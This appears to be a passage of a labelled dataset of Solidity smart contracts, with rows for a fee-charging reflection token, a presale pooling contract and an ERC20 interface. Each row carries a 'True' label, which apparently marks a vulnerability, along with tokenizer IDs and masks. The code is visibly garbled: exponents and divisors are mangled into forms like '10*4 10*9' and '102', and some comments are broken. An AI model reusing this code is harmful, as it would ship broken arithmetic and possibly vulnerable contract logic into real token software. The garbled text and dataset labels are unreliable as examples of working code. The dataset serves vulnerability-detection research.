to != burnAddress){ if(to != uniswapPair && from == uniswapPair){ require(((balanceOf(to).add(amount)) <= 200000000000 10*4 10*9)); } require(amount <= 100000000000 10*4 109, 'Transfer amount must be less'); } if(from != owner() && to != owner()) require(amount <= _maxTxAmount); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapPair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 forLiquidity = contractTokenBalance.div(2); uint256 devExp = contractTokenBalance.div(4); uint256 forRewards = contractTokenBalance.div(4); // split the liquidity uint256 half = forLiquidity.div(2); uint256 otherHalf = forLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half.add(devExp).add(forRewards)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 Balance = address(this).balance.sub(initialBalance); uint256 oneThird = Balance.div(3); wallet.transfer(oneThird); wallet2.transfer(oneThird); // add liquidity to uniswap addLiquidity(otherHalf, oneThird); emit SwapAndLiquify(half, oneThird, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); // make the swap uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapRouter), tokenAmount); // add the liquidity uniswapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable wallet, block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 102 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent <= 20, "Maximum tax limit is 20 percent"); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapRouter when swaping receive() external payable {} }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2423, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity 0.4.21; // Wolf Crypto presale pooling contract // written by @iamdefinitelyahuman library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function checkMemberLevel (address addr) external view returns (uint); } library PresaleLib { using SafeMath for uint; WhiteList constant whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63); uint constant contributionMin = 100000000000000000; uint constant maxGasPrice = 50000000000; struct Contributor { uint16 claimedTokensIndex; uint balance; } struct Data { address owner; address receiver; address[] withdrawToken; bool poolSubmitted; bool locked; uint addressSetTime; uint fee; uint contractCap; uint finalBalance; uint[] withdrawAmount; uint[] capAmounts; uint32[] capTimes; mapping (address => uint) tokenBalances; mapping (address => uint) individualCaps; mapping (address => Contributor) contributorMap; } event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalAvailable (address token); event WithdrawalClaimed (address receiver, address token, uint amount); modifier onlyOwner (Data storage self) { require (msg.sender == self.owner); _; } modifier noReentrancy(Data storage self) { require(!self.locked); self.locked = true; _; self.locked = false; } function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 20).div(denominator); } function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct).div(10 20); } function newPool (Data storage self, uint _fee, address _receiver, uint _contractCap, uint _individualCap) public { require (_fee < 1000); self.owner = msg.sender; self.receiver = _receiver; self.contractCap = _contractCap; self.capTimes.push(0); self.capAmounts.push(_individualCap); self.fee = _toPct(_fee,1000); } function deposit (Data storage self) public { assert (!self.poolSubmitted); require (tx.gasprice <= maxGasPrice); Contributor storage c = self.contributorMap[msg.sender]; uint cap = _getCap(self, msg.sender); require (cap >= c.balance.add(msg.value)); if (self.contractCap < address(this).balance) { require (address(this).balance.sub(msg.value) < self.contractCap); uint excess = address(this).balance.sub(self.contractCap); c.balance = c.balance.add(msg.value.sub(excess)); msg.sender.transfer(excess); } else { c.balance = c.balance.add(msg.value); } require (c.balance >= contributionMin); emit ContributorBalanceChanged(msg.sender, c.balance); } function receiveRefund (Data storage self) public { assert (self.poolSubmitted); require (msg.sender == self.receiver \|\| msg.sender == self.owner); require (msg.value >= 1 ether); self.withdrawToken.push(0x00); self.withdrawAmount.push(msg.value); emit WithdrawalAvailable(0x00); } function withdraw (Data storage self) public { assert (msg.value == 0); Contributor storage c = self.contributorMap[msg.sender]; require (c.balance > 0); if (!self.poolSubmitted) { uint balance = c.balance; c.balance = 0; msg.sender.transfer(balance); emit ContributorBalanceChanged(msg.sender, 0); return; } require (c.claimedTokensIndex < self.withdrawToken.length); uint pct = _toPct(c.balance,self.finalBalance); uint amount; address token; for (uint16 i = c.claimedTokensIndex; i < self.withdrawToken.length; i++) { amount = _applyPct(self.withdrawAmount[i],pct); token = self.withdrawToken[i]; c.claimedTokensIndex++; if (amount > 0) { if (token == 0x00) { msg.sender.transfer(amount); } else { require (ERC20(token).transfer(msg.sender, amount)); self.tokenBalances[token] = self.tokenBalances[token].sub(amount); } emit WithdrawalClaimed(msg.sender, token, amount); } } } function setIndividualCaps (Data storage self, address[] addr, uint[] cap) public onlyOwner(self) { require (addr.length == cap.length); for (uint8 i = 0; i < addr.length; i++) { self.individualCaps[addr[i]] = cap[i]; } } function setCaps (Data storage self, uint32[] times, uint[] caps) public onlyOwner(self) { require (caps.length > 0); require (caps.length == times.length); self.capTimes = [0]; self.capAmounts = [self.capAmounts[0]]; for (uint8 i = 0; i < caps.length; i++) { require (times[i] > self.capTimes[self.capTimes.length.sub(1)]); self.capTimes.push(times[i]); self.capAmounts.push(caps[i]); } } function setContractCap (Data storage self, uint amount) public onlyOwner(self) { require (amount >= address(this).balance); self.contractCap = amount; } function _getCap (Data storage self, address addr) internal view returns (uint) { if (self.individualCaps[addr] > 0) return self.individualCaps[addr]; if (whitelistContract.checkMemberLevel(msg.sender) == 0) return 0; return getCapAtTime(self,now); } function getCapAtTime (Data storage self, uint time) public view returns (uint) { if (time == 0) time = now; for (uint i = 1; i < self.capTimes.length; i++) { if (self.capTimes[i] > time) return self.capAmounts[i-1]; } return self.capAmounts[self.capAmounts.length-1]; } function getPoolInfo (Data storage self) view public returns (uint balance, uint remaining, uint cap) { if (!self.poolSubmitted) return (address(this).balance, self.contractCap.sub(address(this).balance), self.contractCap); return (address(this).balance, 0, self.contractCap); } function getContributorInfo (Data storage self, address addr) view public returns (uint balance, uint remaining, uint cap) { cap = _getCap(self, addr); Contributor storage c = self.contributorMap[addr]; if (self.poolSubmitted \|\| cap <= c.balance) return (c.balance, 0, cap); if (cap.sub(c.balance) > self.contractCap.sub(address(this).balance)) return (c.balance, self.contractCap.sub(address(this).balance), cap); return (c.balance, cap.sub(c.balance), cap); } function checkWithdrawalAvailable (Data storage self, address addr) view public returns (bool) { return self.contributorMap[addr].claimedTokensIndex < self.withdrawToken.length; } function setReceiverAddress (Data storage self, address _receiver) public onlyOwner(self) { require (!self.poolSubmitted); self.receiver = _receiver; self.addressSetTime = now; emit ReceiverAddressSet(_receiver); } function submitPool (Data storage self, uint amountInWei) public onlyOwner(self) noReentrancy(self) { require (!self.poolSubmitted); require (now > self.addressSetTime.add(86400)); if (amountInWei == 0) amountInWei = address(this).balance; self.finalBalance = address(this).balance; self.poolSubmitted = true; require (self.receiver.call.value(amountInWei).gas(gasleft().sub(5000))()); if (address(this).balance > 0) { self.withdrawToken.push(0x00); self.withdrawAmount.push(address(this).balance); emit WithdrawalAvailable(0x00); } emit PoolSubmitted(self.receiver, amountInWei); } function enableWithdrawals (Data storage self, address tokenAddress, address feeAddress) public onlyOwner(self) noReentrancy(self) { require (self.poolSubmitted); if (feeAddress == 0x00) feeAddress = self.owner; ERC20 token = ERC20(tokenAddress); uint amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); require (amount > 0); if (self.fee > 0) { require (token.transfer(feeAddress, _applyPct(amount,self.fee))); amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); } self.tokenBalances[tokenAddress] = token.balanceOf(this); self.withdrawToken.push(tokenAddress); self.withdrawAmount.push(amount); emit WithdrawalAvailable(tokenAddress); } } contract PresalePool { using PresaleLib for PresaleLib.Data; PresaleLib.Data data; event ERC223Received (address token, uint value, bytes data); function PresalePool (uint fee, address receiver, uint contractCap, uint individualCap) public { data.newPool(fee, receiver, contractCap, individualCap); } function () public payable { if (msg.value > 0) { if (!data.poolSubmitted) { data.deposit(); } else { data.receiveRefund(); } } else { data.withdraw(); } } function setIndividualCaps (address[] addr, uint[] cap) public { data.setIndividualCaps(addr, cap); } function setCaps (uint32[] times, uint[] caps) public { data.setCaps(times,caps); } function setContractCap (uint amount) public { data.setContractCap(amount); } function getPoolInfo () view public returns (uint balance, uint remaining, uint cap) { return data.getPoolInfo(); } function getContributorInfo (address addr) view public returns (uint balance, uint remaining, uint cap) { return data.getContributorInfo(addr); } function getCapAtTime (uint32 time) view public returns (uint) { return data.getCapAtTime(time); } function checkWithdrawalAvailable (address addr) view public returns (bool) { return data.checkWithdrawalAvailable(addr); } function getReceiverAddress () view public returns (address) { return data.receiver; } function setReceiverAddress (address receiver) public { data.setReceiverAddress(receiver); } function submitPool (uint amountInWei) public { data.submitPool(amountInWei); } function enableWithdrawals (address tokenAddress, address feeAddress) public { data.enableWithdrawals(tokenAddress, feeAddress); } function tokenFallback (address from, uint value, bytes calldata) public { emit ERC223Received(from, value, calldata); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 4702, 19888, 2080, 3653, 12002, 2063, 4770, 2075, 3206, 1013, 1013, 2517, 2011, 1030, 24264, 26876, 12879, 5498, 9834, 17560, 19042, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 2709, 1014, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1037, 1013, 1038, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 2709, 1037, 1011, 1038, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 20865, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 1065, 8278, 9413, 2278, 11387, 1063, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 6327, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 1065, 8278, 2317, 9863, 1063, 3853, 4638, 4168, 21784, 20414, 2884, 1006, 4769, 5587, 2099, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 1065, 3075, 3653, 12002, 20806, 2497, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 1025, 2317, 9863, 5377, 2317, 9863, 8663, 6494, 6593, 1027, 2317, 9863, 1006, 1014, 2595, 2620, 2094, 2683, 2629, 2497, 2692, 22025, 3540, 17914, 2050, 2683, 20842, 20958, 2629, 7011, 18827, 2692, 2278, 2509, 2278, 16576, 26337, 2475, 2497, 2575, 2063, 2683, 9818, 2575, 2509, 1007, 1025, 21318, 3372, 5377, 6691, 10020, 1027, 6694, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 1025, 21318, 3372, 5377, 4098, 12617, 18098, 6610, 1027, 13509, 8889, 8889, 8889, 2692, 1025, 2358, 6820, 6593, 12130, 1063, 21318, 3372, 16048, 3555, 18715, 6132, 22254, 10288, 1025, 21318, 3372, 5703, 1025, 1065, 2358, 6820, 6593, 2951, 1063, 4769, 3954, 1025, 4769, 8393, 1025, 4769, 1031, 1033, 10632, 18715, 2368, 1025, 22017, 2140, 12679, 12083, 22930, 3064, 1025, 22017, 2140, 5299, 1025, 21318, 3372, 4769, 21678, 14428, 1025, 21318, 3372, 7408, 1025, 21318, 3372, 3206, 17695, 1025, 21318, 3372, 2345, 26657, 1025, 21318, 3372, 1031, 1033, 10632, 22591, 16671, 1025, 21318, 3372, 1031, 1033, 6178, 22591, 16671, 2015, 1025, 21318, 3372, 16703, 1031, 1033, 14408, 14428, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 19204, 26657, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 3265, 17695, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12130, 1007, 12130, 2863, 2361, 1025, 1065, 2724, 12130, 26657, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address 